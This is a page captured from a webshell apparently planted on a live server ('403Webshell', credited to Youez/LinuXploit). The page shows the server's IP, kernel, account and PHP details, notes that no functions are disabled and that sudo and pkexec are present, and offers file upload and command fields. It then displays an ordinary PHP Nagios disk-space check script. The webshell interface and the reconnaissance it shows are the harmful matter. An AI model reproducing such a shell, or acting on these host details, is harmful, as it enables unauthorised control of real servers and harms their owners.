403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html//mojo_nagios_diskspace_check.php
<?php

function formatSize( $bytes )
{
        $types = array( 'B', 'KB', 'MB', 'GB', 'TB' );
        for( $i = 0; $bytes >= 1024 && $i < ( count( $types ) -1 ); $bytes /= 1024, $i++ );
                return( round( $bytes, 2 ) . " " . $types[$i] );
}

function formatInodes( $inodes )
{
        $types = array( '', 'K', 'M', 'B', 'T' );
        for( $i = 0; $inodes >= 1000 && $i < ( count( $types ) -1 ); $inodes /= 1000, $i++ );
                return( round( $inodes, 2 ) . $types[$i] );
}

function getWarnThreshold($mount) {
    if ($mount == "/") {
        return 90;
    } elseif ($mount == "/home") {
        return 99.9;
    }
    return 95; // default
}

?>

<html>
<head>
<style type='text/css'>

body {
        width: 540px;
        margin: 30px auto;
}
.progress {
        border: 2px solid #26D;
        height: 32px;
        width: 540px;
        margin: 30px auto;
}
.progress .prgbar {
        background: #ACF;
        width: 0%;
        position: relative;
        height: 32px;
        z-index: 999;
}
.progress .prgtext {
        color: #238;
        width: 540px;
        text-align: center;
        font-size: 16px;
        padding: 9px 0 0;
        position: absolute;
        z-index: 1000;
}
.progress .prginfo {
        margin: 3px 0;
}

</style>
</head>

<body bgcolor="#FFFFFF">

<?php

$alert = 0;
$alerts = [];

exec('mount | grep "ext[234]\|xfs" | cut -d\  -f3 | grep -v "/boot\|/backup"', $filesystems);

foreach ($filesystems as $fs) {

  $warn = getWarnThreshold($fs);

  $df = disk_free_space($fs);
  $dt = disk_total_space($fs);
  $du = $dt - $df;
  $dp = sprintf('%.2f',($du / $dt) * 100);
  $df_str = formatSize($df);
  $du_str = formatSize($du);
  $dt_str = formatSize($dt);

  if ( $dp >= $warn ) {
      $alert = max($alert, $dp);
      $alerts[] = "$fs disk usage is at $dp% (threshold: $warn%)";
      $bg = "#F88";
  } else {
      $bg = "#ACF";
  }

  ?>
      <div class='progress'>
        <div class='prgtext'><?php echo "$fs - $dp"; ?>% Disk Used</div>
        <div class='prgbar' style='width:<?php echo $dp; ?>%;background:<?php echo $bg; ?>'></div>
        <div class='prginfo'>
                <span style='float: left;'><?php echo "$du_str of $dt_str used"; ?></span>
                <span style='float: right;'><?php echo "$df_str of $dt_str free"; ?></span>
                <span style='clear: both;'></span>
        </div>
      </div>

  <?php

  // Inode usage
  $inf = trim(`/bin/df -i $fs | grep $fs | awk '{print $4}'`);
  $int = trim(`/bin/df -i $fs | grep $fs | awk '{print $2}'`);
  $inu = $int - $inf;
  $inp = sprintf('%.2f',($inu / $int) * 100);
  $inf_str = formatInodes($inf);
  $inu_str = formatInodes($inu);
  $int_str = formatInodes($int);

  if ( $inp >= $warn ) {
      $alert = max($alert, $inp);
      $alerts[] = "$fs inode usage is at $inp% (threshold: $warn%)";
      $bg = "#F88";
  } else {
      $bg = "#ACF";
  }

  ?>
      <div class='progress'>
        <div class='prgtext'><?php echo "$fs - $inp"; ?>% Inodes Used</div>
        <div class='prgbar' style='width:<?php echo $inp; ?>%;background:<?php echo $bg; ?>'></div>
        <div class='prginfo'>
                <span style='float: left;'><?php echo "$inu_str of $int_str used"; ?></span>
                <span style='float: right;'><?php echo "$inf_str of $int_str free"; ?></span>
                <span style='clear: both;'></span>
        </div>
      </div>
  <hr />
  <?php

}
?>

<?php
if (!empty($alerts)) {
    echo "<b>WARNING</b>:<br><ul>";
    foreach ($alerts as $msg) {
        echo "<li>" . htmlspecialchars($msg) . "</li>";
    }
    echo "</ul>";
} else {
    echo "OK: all drives and inode usages are below thresholds.";
}
?>


</body>


Youez - 2016 - github.com/yon3zu
LinuXploit